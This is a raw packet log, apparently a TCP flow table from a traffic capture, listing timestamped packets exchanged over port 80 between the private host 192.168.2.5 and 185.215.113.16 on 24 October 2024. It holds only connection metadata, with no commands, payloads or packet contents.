Oct 24, 2024 19:30:09.490524054 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490526915 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490540981 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490544081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490554094 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490556955 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490571022 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490576029 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490586042 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490593910 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490602016 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490609884 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490617037 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490628004 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490632057 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490639925 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490647078 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490657091 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490660906 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490678072 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490678072 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490691900 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490695953 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490708113 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490719080 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490720987 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490742922 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490746975 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490757942 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490771055 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490772009 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490787983 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490797043 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490811110 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490822077 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490835905 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490849972 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490852118 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490864992 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490880013 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490880966 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490897894 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490900040 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490936995 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490962982 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490966082 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.490978003 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490986109 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.490999937 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.491008043 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.491024971 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.491050005 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.491050005 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.491077900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.533992052 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534017086 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534034014 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534049988 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534070969 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534099102 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534111023 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534113884 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534131050 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534146070 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534168959 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534173965 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534183979 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534198999 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534212112 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534214973 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534250021 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534265995 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534280062 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534281969 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534316063 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534331083 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534334898 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534346104 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534362078 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534400940 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534439087 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534445047 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534466028 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534481049 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534496069 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534498930 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534511089 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534526110 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534531116 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534543037 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534558058 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534574032 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534588099 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534614086 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534650087 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534665108 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534677982 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534692049 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534724951 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534729004 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534739971 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534754992 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534759998 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534770966 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534782887 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534786940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534802914 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534804106 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534811974 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534817934 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534837008 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534843922 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534859896 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534894943 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534909010 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534923077 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534929037 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534940004 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534945965 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534965992 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534977913 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.534984112 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.534996986 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535011053 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535016060 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535026073 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535032034 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535041094 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535051107 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535064936 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535075903 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535080910 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535088062 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535104036 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535111904 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535119057 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535130024 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535145998 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535151958 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535161972 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535166979 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535191059 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535192013 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535204887 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535206079 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535218954 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535248041 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535253048 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535265923 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535278082 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535280943 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535290003 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535295963 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535310030 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535316944 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535339117 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535366058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535383940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535407066 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535419941 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535434008 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535435915 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535446882 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535450935 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535465956 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535465956 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535479069 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535505056 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535586119 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535630941 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535708904 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535722971 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535738945 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535752058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535768032 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535792112 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535800934 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535839081 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535842896 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535880089 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535908937 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535944939 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.535948992 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.535981894 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536098957 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536113977 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536128998 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536140919 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536161900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536161900 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536176920 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536191940 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536207914 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536216974 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536221027 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536236048 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536241055 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536252975 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536263943 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536263943 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536268950 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536272049 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536283970 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536295891 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536308050 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536325932 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536359072 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536374092 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536386967 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536398888 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536402941 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536417007 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536431074 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536432028 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536444902 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536461115 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536542892 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536557913 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536572933 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536590099 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536603928 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536607027 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536619902 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536628008 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536633968 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536648989 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536660910 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536679029 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536680937 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536695004 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536700964 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536710024 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536719084 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536725044 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536735058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536740065 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536748886 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536756039 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536763906 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536771059 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536781073 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536786079 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536798954 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536812067 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536823988 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536828041 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536864042 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536906004 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536925077 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.536942959 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.536959887 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537132978 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537148952 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537166119 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537178040 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537180901 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537189960 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537206888 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537223101 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537260056 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537273884 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537301064 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537317991 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537338018 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537353039 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537368059 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537374973 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537383080 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537399054 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537400961 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537400961 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537422895 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537441015 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537568092 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537581921 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537595034 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537609100 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537617922 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537617922 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537632942 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537638903 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537647963 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537652016 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537662983 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537663937 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537679911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537683010 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537700891 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537703037 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537718058 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537718058 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537731886 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537734985 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537745953 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537753105 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537761927 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537765026 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537776947 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537781000 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537792921 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537795067 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537815094 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537823915 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.537890911 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.537930012 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.582740068 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.582756042 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.582771063 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.583031893 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618040085 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618055105 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618072033 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618097067 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618112087 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618125916 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618141890 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618231058 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618246078 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618259907 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618271112 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618271112 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618271112 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618285894 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618293047 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618293047 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618309021 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618330002 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618335962 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618344069 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618359089 CEST	80	49959	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:09.618362904 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618385077 CEST	49959	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:09.618391991 CEST	80	49959	185.215.113.16	192.168.2.5
